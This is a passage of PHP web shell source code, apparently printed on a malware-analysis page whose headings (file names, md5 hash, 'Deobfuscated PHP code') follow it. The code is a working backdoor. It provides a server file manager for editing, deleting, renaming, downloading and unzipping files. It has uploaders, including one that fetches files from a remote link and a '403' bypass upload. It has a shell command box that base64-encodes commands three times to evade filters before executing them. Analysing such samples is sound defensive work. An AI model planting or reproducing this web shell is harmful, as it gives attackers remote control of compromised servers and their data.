        $namaawal = $_POST['newname'];
    } else {
        $namawal = $_POST['name'];
    }
    echo "<center>".$_POST['path']."<br>";
    echo '<form method="post">
    New Name : <input name="newname" type="text" class="up" size="20" value="'.$namaawal.'" />
    <input type="hidden" name="path" value="'.$_POST['path'].'">
    <input type="hidden" name="pilih" value="gantinama">
    <input type="submit" value="Change" name="gantin" class="up" style="cursor: pointer; border-color: #fff"/>
    </form>';
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") {
    if (isset($_POST['gasedit'])) {
        $edit = @file_put_contents($_POST['path'], $_POST['src']);
        if ($edit == true) {
            green("Edit File Success !");
        } else {
            red("Edit File Failed !");
        }
    }
    echo "<center>".$_POST['path']."<br><br>";
    echo '<form method="post">
    <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br>
    <input type="hidden" name="path" value="'.$_POST['path'].'">
    <input type="hidden" name="pilih" value="edit">
    <input type="submit" value="Edit File" name="gasedit" />
    </form><br>';
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "dunlut") {
    dunlut($_POST['path']);
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "unzip") {
    unzip($_POST['path'], $lokasi);
} elseif ($_REQUEST['upload'] == "gaskan") {
    echo "<center>Upload File : ";
    echo '<form enctype="multipart/form-data" method="post">
<input type="radio" value="1" name="dirnya" checked>current_dir [ '.cekdir().' ]
<input type="radio" value="2" name="dirnya" >document_root [ '.cekroot().' ]
<br>
<input type="hidden" name="upwkwk" value="aplod">
<input type="file" name="berkas"><input type="submit" name="berkasnya" value="Upload" class="up" style="cursor: pointer; border-color: #fff"><br><br>
Upload File From Link :<br>
<input type="text" name="darilink" class="up" placeholder="https://anon7.xyz/upload.txt">&nbsp;<input type="text" name="namalink" class="up" size="3" placeholder="file.txt"><input type="submit" name="linknya" class="up" value="Upload" style="cursor: pointer; border-color: #fff">
<br><br>403 Upload File<br>
<input type="file" id="datanya" onchange="setfilename(this.value); loadFile(this.files[0])"/>
<input type="hidden" name="bepasnama" id="namanya">
<textarea style="display: none" id="bepasdata" name="bepasdata"></textarea>
<input type="submit" name="bepas" value="Upload" class="up" style="cursor: pointer; border-color: #fff">
</form><br><br></center>';
} elseif ($_GET['komend'] == "gaskan") {
    echo "<center>";
    echo '<form method="post" onsubmit="document.getElementById(\'komendnya\').value = btoa(btoa(btoa(document.getElementById(\'komendnya\').value)))">
    '.@get_current_user().'@'.ipserv().':~ $ <input type="text" name="komend" id="komendnya" style="background-color: #1f1f1f; color: #fff">
    <input type="submit" name="eksekomend" value=" >> " class="up" style="cursor: pointer; border-color: #fff">
    </form><br>';
    if (isset($_POST['eksekomend'])) {
        ekse($_POST['komend'], $lokasi);
    }
    echo "</center>";
} 

if (!is_readable($lokasi)) {
    die("<center>This directory is unreadable :(</center>");
}

echo '<div id="content"><table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
<tr class="first">
<td><center>Name</center></td>
<td><center>Size</center></td>
<td><center>Last Modified</center></td>
<td><center>Owner</center></td>
<td><center>Permissions</center></td>
<td><center>Options</center></td>
</tr>';

foreach($lokasinya as $dir){
    if(!is_dir($lokasi."/".$dir) || $dir == '.') continue;
    echo "<tr>
    <td><i class='fa fa-folder' style='color: #ffe9a2'></i> <a href=\"?path=".$lokasi."/".$dir."\">".$dir."</a></td>
    <td><center>--</center></td>
    <td><center>".filedate($lokasi."/".$dir)."</center></td>
    <td>".owner($lokasi."/".$dir)."</td>
    <td><center>";
    if(is_writable($lokasi."/".$dir)) echo '<font color="green">';
    elseif(!is_readable($lokasi."/".$dir)) echo '<font color="red">';
    echo statusnya($lokasi."/".$dir);
    if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo '</font>';

    echo "</center></td>
    <td><center><form method=\"POST\" action=\"?pilihan&path=$lokasi\">
    <select name=\"pilih\">
    <option value=\"\"></option>
    <option value=\"hapus\">Delete</option>
    <option value=\"gantinama\">Rename</option>
    </select>
    <input type=\"hidden\" name=\"type\" value=\"dir\">
    <input type=\"hidden\" name=\"name\" value=\"$dir\">
    <input type=\"hidden\" name=\"path\" value=\"$lokasi/$dir\">
    <input type=\"submit\" class=\"gas\" value=\">\" />
    </form></center></td>
    </tr>";
}

echo '<tr class="first"><td></td><td></td><td></td><td></td><td></td><td></td></tr>';
foreach($lokasinya as $file) {
    if(!is_file("$lokasi/$file")) continue;
    $size = filesize("$lokasi/$file")/1024;
    $size = round($size,3);
    if($size >= 1024){
    $size = round($size/1024,2).' MB';
} else {
    $size = $size.' KB';
}

echo "<tr>
<td>".cekfile($lokasi."/".$file)."<a href=\"?fileloc=$lokasi/$file&path=$lokasi\">$file</a></td>
<td><center>".$size."</center></td>
<td><center>".filedate($lokasi."/".$file)."</center></td>
<td>".owner($lokasi."/".$file)."</td>
<td><center>";
if(is_writable("$lokasi/$file")) echo '<font color="green">';
elseif(!is_readable("$lokasi/$file")) echo '<font color="red">';
echo statusnya("$lokasi/$file");
if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo '</font>';
echo "</center></td><td><center>
<form method=\"post\" action=\"?pilihan&path=$lokasi\">
<select name=\"pilih\">
<option value=\"\"></option>
<option value=\"hapus\">Delete</option>
<option value=\"dunlut\">Download</option>
<option value=\"gantinama\">Rename</option>
<option value=\"edit\">Edit</option>";
if (class_exists("ZipArchive")) {
    echo "<option value=\"unzip\">Unzip</option>";
}
echo "</select>
<input type=\"hidden\" name=\"type\" value=\"file\">
<input type=\"hidden\" name=\"name\" value=\"$file\">
<input type=\"hidden\" name=\"path\" value=\"$lokasi/$file\">
<input type=\"submit\" class=\"gas\" value=\">\" />
</form></center></td>
</tr>";
}
echo '</tr></td></table></table>';
author();

function statusnya($file){
$izin = substr(sprintf('%o', fileperms($file)), -4);
return $izin;
}
?>
PHP Malware Analysis

accessv2.php, accessv3.php

md5: 213579bcf8898cfb969387e0455e8bc2

Screenshot

Attributes

Deobfuscated PHP code

Execution traces

Generated HTML code

Original PHP code
